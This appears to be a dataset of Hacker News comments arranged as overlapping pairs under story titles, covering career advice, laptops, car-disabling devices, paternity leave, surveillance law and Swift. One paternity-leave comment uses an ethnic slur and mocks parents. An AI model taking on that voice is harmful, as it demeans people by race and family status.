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after 6 years of programming, i'm still a developer. what am i doing wrong?
i started my programming in 2008 and have worked on many big as well as small projects. i work on .net platform mostly. i've worked in big companies and have done freelancing for 2 years leaving my job. this year i moved to a different country and started job as developer (i took whatever i got). i'm quite sure i'm not a bad developer. i have good feedbacks. i've completed projects and earned appreciation. last week a new guy was hired in my company as project manager and he has only 1 year experience and that too not in programming. in networking and stuff and has done some pm stuff for couple of months.
now i think i'm not in the position that i should be. i can constantly see things that are going wrong in the company. for example, what the new pm does is constantly come to developer and ask a lot of things rather than documenting it. he hasn't been even able to choose right tool to log issues in 2 months. uses 2-3 different stuffs. doesn't communicate the progress to the team. rather chooses specific developer and goes on with it. in other words, isn't connecting to the team.
if the company decided to hire inexperienced pm, why didn't they promote me or even my fellow developer to do so?
is this happening because i've got brown skin? or am i doing something wrong? i'm not so interested to do pm job but i'm concerned i'm not being a good developer, or something lacks in me. | it would not ever occur to me to try to 'promote' a developer to pm; it's not a promotion, it's not a normal career path, and most people wouldn't even want to do it. if it appeals to you, let your manager know. | i agree with the other commenters. pm is not a promotion. pm is a very hard, thankless job that is hard to get right. trust me --- you don't want it. the pm clearly needs help and it seems like you can fill some gaps he has. i do not know the org structure in your company, but i would lobby for you to become the "lead" developer -- and you can work hand in hand with the pm to make sure the project is organized correctly, that the requirements are being gathered and met, that the tools the developers need are in place. the pm should be able to take the brunt of the "external" networking for the team, and you can take the brunt of the "internal" networking to the team. you can help and learn from each other, as i am sure he has some skills that you do not (they may be soft skills). |
after 6 years of programming, i'm still a developer. what am i doing wrong?
i started my programming in 2008 and have worked on many big as well as small projects. i work on .net platform mostly. i've worked in big companies and have done freelancing for 2 years leaving my job. this year i moved to a different country and started job as developer (i took whatever i got). i'm quite sure i'm not a bad developer. i have good feedbacks. i've completed projects and earned appreciation. last week a new guy was hired in my company as project manager and he has only 1 year experience and that too not in programming. in networking and stuff and has done some pm stuff for couple of months.
now i think i'm not in the position that i should be. i can constantly see things that are going wrong in the company. for example, what the new pm does is constantly come to developer and ask a lot of things rather than documenting it. he hasn't been even able to choose right tool to log issues in 2 months. uses 2-3 different stuffs. doesn't communicate the progress to the team. rather chooses specific developer and goes on with it. in other words, isn't connecting to the team.
if the company decided to hire inexperienced pm, why didn't they promote me or even my fellow developer to do so?
is this happening because i've got brown skin? or am i doing something wrong? i'm not so interested to do pm job but i'm concerned i'm not being a good developer, or something lacks in me. | i agree with the other commenters. pm is not a promotion. pm is a very hard, thankless job that is hard to get right. trust me --- you don't want it. the pm clearly needs help and it seems like you can fill some gaps he has. i do not know the org structure in your company, but i would lobby for you to become the "lead" developer -- and you can work hand in hand with the pm to make sure the project is organized correctly, that the requirements are being gathered and met, that the tools the developers need are in place. the pm should be able to take the brunt of the "external" networking for the team, and you can take the brunt of the "internal" networking to the team. you can help and learn from each other, as i am sure he has some skills that you do not (they may be soft skills). | it happens that if you are good at what you are doing you won't be promoted, because it will be hard to find someone to replace you. so you have to clearly signal that you want to move, because for your manager it might be more comfortable to know that you are here, reliable and productive. |
after 6 years of programming, i'm still a developer. what am i doing wrong?
i started my programming in 2008 and have worked on many big as well as small projects. i work on .net platform mostly. i've worked in big companies and have done freelancing for 2 years leaving my job. this year i moved to a different country and started job as developer (i took whatever i got). i'm quite sure i'm not a bad developer. i have good feedbacks. i've completed projects and earned appreciation. last week a new guy was hired in my company as project manager and he has only 1 year experience and that too not in programming. in networking and stuff and has done some pm stuff for couple of months.
now i think i'm not in the position that i should be. i can constantly see things that are going wrong in the company. for example, what the new pm does is constantly come to developer and ask a lot of things rather than documenting it. he hasn't been even able to choose right tool to log issues in 2 months. uses 2-3 different stuffs. doesn't communicate the progress to the team. rather chooses specific developer and goes on with it. in other words, isn't connecting to the team.
if the company decided to hire inexperienced pm, why didn't they promote me or even my fellow developer to do so?
is this happening because i've got brown skin? or am i doing something wrong? i'm not so interested to do pm job but i'm concerned i'm not being a good developer, or something lacks in me. | it happens that if you are good at what you are doing you won't be promoted, because it will be hard to find someone to replace you. so you have to clearly signal that you want to move, because for your manager it might be more comfortable to know that you are here, reliable and productive. | what you're doing wrong is not being in the job that you want.find a position that you want in the company where you are now, or find a position that you want somewhere else. it doesn't have to be a full-on 100% pm job. after all, the guy you mention apparently only has a year experience himself. everyone starts somewhere and somehow. everyone.it won't be easy, but it will never happen if you don't try.as for the specific issues you have with that other guy, those are merely details and they will instantly be irrelevant once you move up or out. forget about that immediately (i literally mean right this second), and put all your energy into finding your next position, internally or externally.get to work. :) |
after 6 years of programming, i'm still a developer. what am i doing wrong?
i started my programming in 2008 and have worked on many big as well as small projects. i work on .net platform mostly. i've worked in big companies and have done freelancing for 2 years leaving my job. this year i moved to a different country and started job as developer (i took whatever i got). i'm quite sure i'm not a bad developer. i have good feedbacks. i've completed projects and earned appreciation. last week a new guy was hired in my company as project manager and he has only 1 year experience and that too not in programming. in networking and stuff and has done some pm stuff for couple of months.
now i think i'm not in the position that i should be. i can constantly see things that are going wrong in the company. for example, what the new pm does is constantly come to developer and ask a lot of things rather than documenting it. he hasn't been even able to choose right tool to log issues in 2 months. uses 2-3 different stuffs. doesn't communicate the progress to the team. rather chooses specific developer and goes on with it. in other words, isn't connecting to the team.
if the company decided to hire inexperienced pm, why didn't they promote me or even my fellow developer to do so?
is this happening because i've got brown skin? or am i doing something wrong? i'm not so interested to do pm job but i'm concerned i'm not being a good developer, or something lacks in me. | what you're doing wrong is not being in the job that you want.find a position that you want in the company where you are now, or find a position that you want somewhere else. it doesn't have to be a full-on 100% pm job. after all, the guy you mention apparently only has a year experience himself. everyone starts somewhere and somehow. everyone.it won't be easy, but it will never happen if you don't try.as for the specific issues you have with that other guy, those are merely details and they will instantly be irrelevant once you move up or out. forget about that immediately (i literally mean right this second), and put all your energy into finding your next position, internally or externally.get to work. :) | what's wrong with being good developer, especially good developer? i have been doing this for 23 years and still love it. moving from dos/unix->win32->8051->embedded os->vxworks->networking->storaging->video/media/embedded linux->android asop. learning new things every months.btw, if you checkout the salary level at glassdoor.com, a good engineer/developer salary level is higher than most of the "pm", director. a lot well run company knew this and respect this.personally, i was moved to marketing/pm type of roles for a while, hated it. too much politic, a lot depending who you know, party with, etc.good engineers/developers got respect from what you know and how well you code, understanding of issues and formulate/architect a solution. ok, i am a geek. |
following sony, samsung has stopped sales of its laptops in europe
| this happened in australia as well and it really sucks. i run a 15" series 9 machine and the only thing you can fairly compare it to is a macbook air. they're beautiful pieces of hardware somewhat let down by their crappy lcds.i guess my next machine will be a macbook. | > "it's common knowledge that the pc market is in decline."mmm, not so much. apart from what you hear from tablet makers. it's stagnant, but it's not in sharp decline.source:
2q13 shipments : 75,700,902 vs
2q14 shipments : 75,763,725yeah, it's "common knowledge" as they say, if you don't bother checking numbers.<link> |
following sony, samsung has stopped sales of its laptops in europe
| > "it's common knowledge that the pc market is in decline."mmm, not so much. apart from what you hear from tablet makers. it's stagnant, but it's not in sharp decline.source:
2q13 shipments : 75,700,902 vs
2q14 shipments : 75,763,725yeah, it's "common knowledge" as they say, if you don't bother checking numbers.<link> | if you are looking for a linux compatible laptop that is somewhat similar to macbook air, look for asus zenbook ux* line. excellent display, good but not awesome battery life, fast hardware and really good keyboard for its size. i've bought two ux31a's, one for myself almost two years a go and one for my dad last christmas. everything else works straight away with ubuntu other than ambient light sensor. i think there isn't any workarounds for that.i got lenovo x1 carbon (2014, touch) from work couple months ago and while it has better cpu, bigger ssd, more ram and better gpu than my two year old zenbook, it's just worse. the zenbook lid can be opened with one hand, lenovo requires both hands. lenovo has too heavy display and too light keyboard part combined with too tight hinges, so when trying to open the lid with one hand, the whole computer lifts up from the table.also, zenbooks have normal keyboards. i hate the keyboard on x1 carbon. instead of normal function keys, there's are adaptive touch keyboard thingy that tries to figure out what kind of special buttons should be shown in there with each program, but it just fails. and feels like... well it does not have real buttons, so i can't feel a thing while using it.also, delete button is in the upper right corner in x1 carbon. and backspace is on the left hand side of it. and that makes no sense. backspace is used way more often than delete, so it should be easier to hit. and upper right corner is easier to hit than almost upper right corner.and zenbooks have normal arrow keys that are not too crowded. lenovo decided to put page up and down right next to up arrow. when ever i accidentally hit page up or down instead of up arrow, i feel like i'm totally lost.and almost forgot, zenbooks have good touch pads, x1 carbon touch pad moves up and down, so it's like a huge button. really annoying when you just move your thumb on it and accidentally press too hard, so it registers a mouse click even tough you did not raise your finger.so, in short asus zenbook ux* laptops pack awesome hardware, work with linux pretty much perfectly and have really good build quality. |
following sony, samsung has stopped sales of its laptops in europe
| if you are looking for a linux compatible laptop that is somewhat similar to macbook air, look for asus zenbook ux* line. excellent display, good but not awesome battery life, fast hardware and really good keyboard for its size. i've bought two ux31a's, one for myself almost two years a go and one for my dad last christmas. everything else works straight away with ubuntu other than ambient light sensor. i think there isn't any workarounds for that.i got lenovo x1 carbon (2014, touch) from work couple months ago and while it has better cpu, bigger ssd, more ram and better gpu than my two year old zenbook, it's just worse. the zenbook lid can be opened with one hand, lenovo requires both hands. lenovo has too heavy display and too light keyboard part combined with too tight hinges, so when trying to open the lid with one hand, the whole computer lifts up from the table.also, zenbooks have normal keyboards. i hate the keyboard on x1 carbon. instead of normal function keys, there's are adaptive touch keyboard thingy that tries to figure out what kind of special buttons should be shown in there with each program, but it just fails. and feels like... well it does not have real buttons, so i can't feel a thing while using it.also, delete button is in the upper right corner in x1 carbon. and backspace is on the left hand side of it. and that makes no sense. backspace is used way more often than delete, so it should be easier to hit. and upper right corner is easier to hit than almost upper right corner.and zenbooks have normal arrow keys that are not too crowded. lenovo decided to put page up and down right next to up arrow. when ever i accidentally hit page up or down instead of up arrow, i feel like i'm totally lost.and almost forgot, zenbooks have good touch pads, x1 carbon touch pad moves up and down, so it's like a huge button. really annoying when you just move your thumb on it and accidentally press too hard, so it registers a mouse click even tough you did not raise your finger.so, in short asus zenbook ux* laptops pack awesome hardware, work with linux pretty much perfectly and have really good build quality. | wait... what? i'm a bit confused here.can someone please explain why samsung isn't selling laptops besides the article's dismissive "it's common knowledge that the pc market is in decline."is it that they are spinning off their laptop division, or is there is some other dominant manufacturer? why on earth are laptops not selling? |
following sony, samsung has stopped sales of its laptops in europe
| wait... what? i'm a bit confused here.can someone please explain why samsung isn't selling laptops besides the article's dismissive "it's common knowledge that the pc market is in decline."is it that they are spinning off their laptop division, or is there is some other dominant manufacturer? why on earth are laptops not selling? | i wonder if differences in implied warranty cut into margin in europe.it's not super clear what the actual standard is, but i know that (for example) a laptop that i had failed at about 13 months old because of a design flaw and in the us i was sol, but other complainants with the same flaw in the uk had the motherboard replaced because the laptop was considered "not fit for purpose" which if i understand the sale of goods act in the uk is good for 6 years after purchase — that could really eat into the margins in the hardware industry |
miss a payment? good luck moving that car
| on a technical note, a "starter interrupt" could not reasonably affect a running vehicle (the starter motor only runs when turning over a stopped engine). however, if these devices actually operate inline with the ignition system--delivering or interrupting spark to the fuel-air mixture during operation--that's an entirely different matter and cause for safety concerns. | if we skip the moral indignation and look at the situation plainly, this sort of technology enables a whole subset of people to actually own cars that were considered too risky before. that's a good thing. given the choice between no car and a car that won't start if i don't pay, i'll go with a gimped car. |
miss a payment? good luck moving that car
| if we skip the moral indignation and look at the situation plainly, this sort of technology enables a whole subset of people to actually own cars that were considered too risky before. that's a good thing. given the choice between no car and a car that won't start if i don't pay, i'll go with a gimped car. | it shines light on a troubling broader issue: as information and communication technologies (in which many of us are involved) spread, they put power in the hands of those who control them, from google to verizon to your electric company (via your smart meter) to car loan agencies. it gives them power over other people, including whether they can drive their own car.not everyone wants to give others this power, but do we and will we have a choice? perhaps legislators will pass laws protecting the interests of people like those reading hn, or vendors will appease us because of our economic and political power.it is the poor, powerless, and disenfranchised who will be abused, with little recourse (other than not owning a car, a phone, etc.). if something like what the article described happened to hn readers, there would be an uproar. but these things will and probably already do happen off our radar to marginalized groups.perhaps that's why the internet protocols put control in the hands of the end users. |
miss a payment? good luck moving that car
| it shines light on a troubling broader issue: as information and communication technologies (in which many of us are involved) spread, they put power in the hands of those who control them, from google to verizon to your electric company (via your smart meter) to car loan agencies. it gives them power over other people, including whether they can drive their own car.not everyone wants to give others this power, but do we and will we have a choice? perhaps legislators will pass laws protecting the interests of people like those reading hn, or vendors will appease us because of our economic and political power.it is the poor, powerless, and disenfranchised who will be abused, with little recourse (other than not owning a car, a phone, etc.). if something like what the article described happened to hn readers, there would be an uproar. but these things will and probably already do happen off our radar to marginalized groups.perhaps that's why the internet protocols put control in the hands of the end users. | ok, ignoring the moral repugnancy of the whole thing for a moment.> t. candice smith, who testified before the nevada legislature that her car, which had a starter interrupt device installed, was shut down while she was driving on a las vegas freeway, nearly causing her to crash> others said their cars were shut down while idling at stoplights.how the hell is that legal?! surely you should only be able to disable a car when the engine is not running just on safety principles. |
miss a payment? good luck moving that car
| ok, ignoring the moral repugnancy of the whole thing for a moment.> t. candice smith, who testified before the nevada legislature that her car, which had a starter interrupt device installed, was shut down while she was driving on a las vegas freeway, nearly causing her to crash> others said their cars were shut down while idling at stoplights.how the hell is that legal?! surely you should only be able to disable a car when the engine is not running just on safety principles. | it's hard to break this down because there are so many different problems going on here, but let's pretend for a minute that the moral issues related to privacy and dignity are irrelevant, and that the arbitrary credit score threshold of 640 that necessitates this system is reasonable and determined by transparent and fair processes (it's not, but stay with me).does this _actually_ solve a problem? are cars that difficult to repossess? is it possible this is a marketing gimmick and the securities backed by it are sold to investors who just really like the idea of being able to f*ck over a poor person the second he or she misses a payment? is this really an economic innovation that lets riskier borrowers have cars, or is it a sales tactic appealing to veiled social darwinist sympathies? |
the economic case for paternity leave
| as a non-american, this kind of argument is really crazy for me. this isn't an economic discussion, but one about which kind of society we want to live. we always read all american politicians talking about the importance of the "family", but the richest nation in the world can't afford their fathers to spend a dozen of days with their newborns? | the usa desperately needs federally mandated paid parental leave and paid pregnancy leave along with strong incentives to actually take the time off. |
the economic case for paternity leave
| the usa desperately needs federally mandated paid parental leave and paid pregnancy leave along with strong incentives to actually take the time off. | overprivileged first world honkies work 8-hour shifts at cushy desk jobs, and now they want paid leave because their waifu plops out babby? ugh... |
the economic case for paternity leave
| overprivileged first world honkies work 8-hour shifts at cushy desk jobs, and now they want paid leave because their waifu plops out babby? ugh... | when i was a u.s. government employee i took 34 days of paid paternity leave when my daughter was born and 28 days when my son was born two years apart.the notion that the u.s. doesn't have paternity leave is totally unfounded. in fact, the u.s. government as an employer has pretty damn strong maternity/paternity leave policies.[1] i know of many private companies that also have great maternity/paternity leave policies.[2]people seem to want the government to mandate the private sector implement these policies, however the u.s. code is not structured in a way that encourages restrictions on private companies in this way.[1]<link>[2]<link> |
the economic case for paternity leave
| when i was a u.s. government employee i took 34 days of paid paternity leave when my daughter was born and 28 days when my son was born two years apart.the notion that the u.s. doesn't have paternity leave is totally unfounded. in fact, the u.s. government as an employer has pretty damn strong maternity/paternity leave policies.[1] i know of many private companies that also have great maternity/paternity leave policies.[2]people seem to want the government to mandate the private sector implement these policies, however the u.s. code is not structured in a way that encourages restrictions on private companies in this way.[1]<link>[2]<link> | there's a lot more than just maternity (or paternity) leave holding back japanese women: the cultural expectation remain that women are there to pour cups of tea, marry eligible salarymen, and drop out and rear their kids while said salarymen work insane hours.my wife (mba, ex-microsoftie, etc; not your average "office lady") briefly worked for a super-old-school japanese trading company in australia. her boss wanted her to go on a business trip to suppliers in japan with a client; hq held out as long as they could (because what would the suppliers think if they sent a woman?), but eventually gave in because there was nobody else suitable. so they called up all the employees and proudly announced: we're sending a woman to japan, for the first time ever! everybody, a round of applause at how progressive we are!so when was this? in the 1970s, perhaps? nope: 2011. |
how nations fare in phds by sex
| some interesting differences:thailand and mongolia versus south korea and taiwan.
canada versus the us.
portugal versus spain.once you select specific disciplines a lot of the countries have extremely small relevant populations though. | this data isn't all that useful since the gender distribution of the countries isn't considered. latvia, for example, seems to favor women in most fields, but there are 8% more women than men which i am sure could account for some of the differences. |
how nations fare in phds by sex
| this data isn't all that useful since the gender distribution of the countries isn't considered. latvia, for example, seems to favor women in most fields, but there are 8% more women than men which i am sure could account for some of the differences. | the source of the data also contains many interesting comparisons and conclusions, particularly with respect to time.<link> |
how nations fare in phds by sex
| the source of the data also contains many interesting comparisons and conclusions, particularly with respect to time.<link> | exploring the country differences by different academic disciplines (grouped in categories by a control on the web graphic) is interesting. it seems to show that the male preponderance is much greater in science, technology, engineering, and mathematics (stem) disciplines than in humanities disciplines, which is not a big surprise. countries vary in their proportions of students pursuing each academic discipline, so a country with a lot of stem ph.d. holders will skew to showing an especially big disparity favoring males. |
how nations fare in phds by sex
| exploring the country differences by different academic disciplines (grouped in categories by a control on the web graphic) is interesting. it seems to show that the male preponderance is much greater in science, technology, engineering, and mathematics (stem) disciplines than in humanities disciplines, which is not a big surprise. countries vary in their proportions of students pursuing each academic discipline, so a country with a lot of stem ph.d. holders will skew to showing an especially big disparity favoring males. | i’d be curious to see what the gender breakdown looks like for native-born vs. immigrant phd students, by field. |
shill: a secure shell scripting language
| developer in racket, does not have s-expressions syntax? why? would love to use some scripting lisp on my machine. | very relevant timing.i've all but switched to zsh on my dev boxes but this looks to be a great option for production environments. |
shill: a secure shell scripting language
| very relevant timing.i've all but switched to zsh on my dev boxes but this looks to be a great option for production environments. | developer here, happy to answer any questions. |
shill: a secure shell scripting language
| developer here, happy to answer any questions. | personally, i am not a big fan of putting more acl/config/monitor requirements to the shell. new features add complexity, possible bugs and hacking vectors.prefer just simply "git add /{etc,bin,sbin,lib} /usr/{bin,sbin,lib} ... && git commit "and daily cron jobs run a "git status" would give me some idea, trigger and confident if someone have "hack into" the server. |
shill: a secure shell scripting language
| personally, i am not a big fan of putting more acl/config/monitor requirements to the shell. new features add complexity, possible bugs and hacking vectors.prefer just simply "git add /{etc,bin,sbin,lib} /usr/{bin,sbin,lib} ... && git commit "and daily cron jobs run a "git status" would give me some idea, trigger and confident if someone have "hack into" the server. | i would have thought the best way to do secure shell scripting is to use a non-shell language, e.g. python or go.it seems most shell vulnerabilities (including shellshock) fundamentally come from the awful and dangerous syntax. |
australian government scrambles to authorize mass surveillance
| the "stop the spies" campaign will be launching prematurely in light of this news.here is the website design we were trying to achieve -> <link> it to be launched today or tomorrow.when the campaign website launches, we need to generate numbers for the press, so make sure you take all the action available on the site.in the mean time follow our lonely social media accounts to stay up to date with the campaigntwitter: <link> <link> government nearly passed the first bill in one day, this caught us by utter surprise. and the legislation proposed sets no upper limit on the number of devices in a network that they can monitor, meaning without oversight, they could potentially monitor every device in australia with a single warrant.the bill containing the mandatory data retention proposals will be hitting the senate next week and we imagine that it might get very little opposition like this first bill.the only opposition to the bill is from the greens and one ldp member so there is but a flicker of hope. but i imagine if we can at least delay these proposals, a more lively debate may spring up and pressure may be placed on legislators to reconsider their positions.it is in the best interest of journalist to write about these bills at the moment because it highly affects them.personal thanks to sen. ludlam for delaying the bill yesterday! | i am not normally one to put on a tin foil hat, but all the events of the last week seem so orchestrated that it is hard not to be cynical. security agencies facing the sunsetting of powers granted after 9/11 "suddenly" discover all these threats the very same week that laws are due to be voted on. there seems to be almost no evidence against individuals raided, only one arrest and that on the basis of some intercepted conversations where the idea of attacking someone was mentioned (and all this, we are taking on faith from security agencies themselves which have a massive vested interest in getting new laws passed). even if you interpret the threat literally, one individual was proposing to attack one australian - for this we need to discard our basic freedoms protected for hundreds years (deriving from the magna carta no less)?i think there ought to be a moratorium on passing any new laws until there is not any current terrorism scare, it is exactly not the time to be making rash judgements about what laws we need. |
australian government scrambles to authorize mass surveillance
| i am not normally one to put on a tin foil hat, but all the events of the last week seem so orchestrated that it is hard not to be cynical. security agencies facing the sunsetting of powers granted after 9/11 "suddenly" discover all these threats the very same week that laws are due to be voted on. there seems to be almost no evidence against individuals raided, only one arrest and that on the basis of some intercepted conversations where the idea of attacking someone was mentioned (and all this, we are taking on faith from security agencies themselves which have a massive vested interest in getting new laws passed). even if you interpret the threat literally, one individual was proposing to attack one australian - for this we need to discard our basic freedoms protected for hundreds years (deriving from the magna carta no less)?i think there ought to be a moratorium on passing any new laws until there is not any current terrorism scare, it is exactly not the time to be making rash judgements about what laws we need. | prime minister abbott needs to whip up hysteria and panic to try to distract people from his government's incredibly poor performance and disastrous budget.a nice solid war along with deep fear mongering should regain control of the media message.i simply don't believe we are under threat of attack from knife wielding beheading terrorists.the poor kid who died the other day was probably just mentally ill but its to abbott's great advantage to be able to point and say look, beheading terrorists in our suburbs coming for you and your family, we need to rapidly remove your liberties and privacy!the first iraq cured me of any belief in what governments ask citizens to believe.i feel deep terror at what our government will do to us.the good news for australians is that tony abbott has decided that we are no longer getting a fibre to the home national broadband network because that was too expensive, however thankfully we are getting 86 f-35 joint strike fighter aeroplanes. <link> |
australian government scrambles to authorize mass surveillance
| prime minister abbott needs to whip up hysteria and panic to try to distract people from his government's incredibly poor performance and disastrous budget.a nice solid war along with deep fear mongering should regain control of the media message.i simply don't believe we are under threat of attack from knife wielding beheading terrorists.the poor kid who died the other day was probably just mentally ill but its to abbott's great advantage to be able to point and say look, beheading terrorists in our suburbs coming for you and your family, we need to rapidly remove your liberties and privacy!the first iraq cured me of any belief in what governments ask citizens to believe.i feel deep terror at what our government will do to us.the good news for australians is that tony abbott has decided that we are no longer getting a fibre to the home national broadband network because that was too expensive, however thankfully we are getting 86 f-35 joint strike fighter aeroplanes. <link> | i find it greatly concerning that laws are passed with such haste, and then justified by very recent events. to clarify, the two recent events which seem to be frequently cited by the law makers is:* an anti-terrorism raid across two states, which charged one person and questioned several others. this happened a couple of weeks ago.* a tragic incident in which an 18yo stabbed two police officers and then was shot dead. this happened a few days ago.i fail to see how any of the provisions in the new laws are able to be justified by either of these events.firstly, the anti-terrorism raids worked seemingly well without the yet-to-be-passed-laws. they successfully used existing laws to thwart a plan that allegedly involved the beheading of random members of the public.secondly, no amount of surveillance or detaining will stop a determined individual from being able to stab somebody who is standing right in front of them.so as troubling as these two events were, it is also troubling that they are being used in this manner by politicians of both major persuasions. |
australian government scrambles to authorize mass surveillance
| i find it greatly concerning that laws are passed with such haste, and then justified by very recent events. to clarify, the two recent events which seem to be frequently cited by the law makers is:* an anti-terrorism raid across two states, which charged one person and questioned several others. this happened a couple of weeks ago.* a tragic incident in which an 18yo stabbed two police officers and then was shot dead. this happened a few days ago.i fail to see how any of the provisions in the new laws are able to be justified by either of these events.firstly, the anti-terrorism raids worked seemingly well without the yet-to-be-passed-laws. they successfully used existing laws to thwart a plan that allegedly involved the beheading of random members of the public.secondly, no amount of surveillance or detaining will stop a determined individual from being able to stab somebody who is standing right in front of them.so as troubling as these two events were, it is also troubling that they are being used in this manner by politicians of both major persuasions. | for the record, the recent 'terrorist threats' involved an apparent plan to kidnap random citizens off the street and behead them on camera, then send the footage to isis for subsequent release.the raid to stop said threats involved ~800 police officers across multiple states. its result? two people charged, with only one having anything to do with terrorism.just about every ounce of effort was put in to drumming it up as 'averted disaster at the last moment', yet very little effort was (probably intentionally) made to mention that the mobilsation of over 800 police resulted in the arrest of exactly 1 person on terrorism-related charges.this is undoubtably an opportunistic move on the back of marginal news. it's a travisty and it will pass without much debate because both parties give approximately no care whatsoever about preserving individual freedoms and privacy, and every care about eroding those rights for increased capacity to monitor and police the public. |
could this be the most discriminatory job description ever?
| "the through of working till midnight in a warehouse while subsiding on pizza is somehow appealing to you."whoever applies will get what he asked for. | they're asking for two years of experience - a fresh graduate, in other words. do you want to work for a company that hires a graduate as their lead engineer? no? don't need to pay attention to the rest of it then.i've seen lots of ads from people who don't understand software but want to hire engineers. they're universally awful. fortunately it's quick to spot them and move on. |
could this be the most discriminatory job description ever?
| they're asking for two years of experience - a fresh graduate, in other words. do you want to work for a company that hires a graduate as their lead engineer? no? don't need to pay attention to the rest of it then.i've seen lots of ads from people who don't understand software but want to hire engineers. they're universally awful. fortunately it's quick to spot them and move on. | i actually find it very fit to a certain demographic of wannabe startuppers, that may be enthralled by this kind of movie-like i-am-a-nerd-programmer scenario. |
could this be the most discriminatory job description ever?
| i actually find it very fit to a certain demographic of wannabe startuppers, that may be enthralled by this kind of movie-like i-am-a-nerd-programmer scenario. | the only aspect that seems like it might fall under the category of anything except for age discrimination is the photo requirement.summarizing the highlighted passages: - they want a go-getter
- they want someone who enjoys working long hours
- they don't want people who do things only for the perceived social benefit
- they don't want people who have no social skills
a.k.a. a culture fit.granted, the job requirements are a bit hefty for the salary (us $3.2-4k/mo), and the 1+/2+ ratio of years managing vs. years developing seems a bit... naive, but maybe that's market in singapore (which iiuc has a flat, low income tax), or maybe perhaps they are just trying to underpay - like most un-/under-funded startups everywhere. |
could this be the most discriminatory job description ever?
| the only aspect that seems like it might fall under the category of anything except for age discrimination is the photo requirement.summarizing the highlighted passages: - they want a go-getter
- they want someone who enjoys working long hours
- they don't want people who do things only for the perceived social benefit
- they don't want people who have no social skills
a.k.a. a culture fit.granted, the job requirements are a bit hefty for the salary (us $3.2-4k/mo), and the 1+/2+ ratio of years managing vs. years developing seems a bit... naive, but maybe that's market in singapore (which iiuc has a flat, low income tax), or maybe perhaps they are just trying to underpay - like most un-/under-funded startups everywhere. | ah, singapore. the "conversational mandarin" bit is code for "chinese people only need apply".and in case you didn't think it could get worse:they just celebrated their full launch on 8th july that featured a full nyotaimori spread, an ancient japanese ritual of serving sushi on the body of a nude female model.<link> |
my swift dilemma
| as he predicted, i was with him until his rant about generics. while the example he makes support his point, that's nothing specific to generics but instead to the implementation of generics. for example, he uses the following example as "bad" generics: func reverse<c : collectiontype where c.index : bidirectionalindextype>(source: c) -> [c.generator.element]
and the following example as "good" non-generics: func reverse(source: collectiontype) -> collectiontype
however, you can have equally clean syntax with generics. for example, consider the hypothetical syntax: func reverse(source: collectiontype[a]) -> collectiontype[a]
in which `collectiontype` is parameterized by the type variable `a` [0].i also take issue with the idea that removing static checks isn't a big penalty. in particular, i cringe a little at the following sentence> because it does not actually matter. if an int gets in my array, it’s because i screwed up and likely had very poor testing around the scenario to begin with.the benefits of static typing is that you don't need testing of things like that. the compiler guarantees safety, allowing you to avoid writing test case that are mundane and boring, such as checking that you don't put an int into a string array.the following paragraph also seemed questionable to me:> yes, in this example, i’ve moved the validation from compile-time to runtime. but you know what, that’s likely where many of these types of errors are going to be coming from to begin with because the content of the array is being filled in with dynamic content getting coerced into your given type at runtime from dynamic input sources, not from a set of code statements appending items to your arrays.i think this is somewhat incorrect. you should never just be type-casting your inputs. (in fact, i think it should ideally be impossible to do so without the compiler generating really big flashing warnings saying "this is dangerous!"). the static verification here will prevent you from doing silly things, and should ideally force you to do input validation at the location of input, instead of blindly casting things to the type it needs.all in all, not a bad discussion, but i think that this piece demonstrates that bad implementations of static typing can severely detract from the good qualities of static typing, and that it takes some getting used to to program well in a statically typed language (not casting things spuriously is a good example of that). that said, i know very little about swift, so take all of this with a grain of salt.[0] it may at this point be clear that the inspiration here is haskell and ml; i am a big proponent of these languages, and believe that static typing can eliminate many common errors. | great post. i'm not sure if it's because of my objective-c bias or not but swift just seems messy to me. everything from how it's spaced and structured in the editor to how it's read. (lack of headers, clear separations between data structures, methods..etc). say what you want about obj-c but it was damn organized. |
my swift dilemma
| great post. i'm not sure if it's because of my objective-c bias or not but swift just seems messy to me. everything from how it's spaced and structured in the editor to how it's read. (lack of headers, clear separations between data structures, methods..etc). say what you want about obj-c but it was damn organized. | "i look at the feature set of swift, and i have to ask myself the question: what’s the point? what is really trying to be solved? and does it provide significant benefits over languages that already exist?"one reason may be that large companies want ownership of a modern, c#/java/go-like language [1]. i was an intern at adobe when it was trying to develop such a language (actionscript 4) + vm, and a primary reason not to adopt an existing language is that they wanted control and to be free of legacy baggage as much as possible. obj-c is reasonable to use today, but its c and smalltalk underpinnings sometimes feel like anachronisms for people writing app store apps. this is probably especially true if you're a language designer like chris lattner at apple and are tasked with fixing the most prominent pain points that your language users face.[1] i realize these are somewhat diverse languages. |
my swift dilemma
| "i look at the feature set of swift, and i have to ask myself the question: what’s the point? what is really trying to be solved? and does it provide significant benefits over languages that already exist?"one reason may be that large companies want ownership of a modern, c#/java/go-like language [1]. i was an intern at adobe when it was trying to develop such a language (actionscript 4) + vm, and a primary reason not to adopt an existing language is that they wanted control and to be free of legacy baggage as much as possible. obj-c is reasonable to use today, but its c and smalltalk underpinnings sometimes feel like anachronisms for people writing app store apps. this is probably especially true if you're a language designer like chris lattner at apple and are tasked with fixing the most prominent pain points that your language users face.[1] i realize these are somewhat diverse languages. | i'm not sure i understand the point of his post.in all the examples he gives swift comes with better and more succint syntax plus more safety than obj-c, and on par with his "obj-c 3.0" idea.and of course it has tons of other features and flexibility he doesn't delve into.the whole post for me boils down to his "i hate generics" rant at the end. |
my swift dilemma
| i'm not sure i understand the point of his post.in all the examples he gives swift comes with better and more succint syntax plus more safety than obj-c, and on par with his "obj-c 3.0" idea.and of course it has tons of other features and flexibility he doesn't delve into.the whole post for me boils down to his "i hate generics" rant at the end. | the author's comment on the first example is:> what is the type of $0 and $1?surely a great thing about swift is that the compiler knows the types of $0 and $1 and will prevent you from doing stupid things with them like you can in obj-c? |
art project: train rats to trade markets
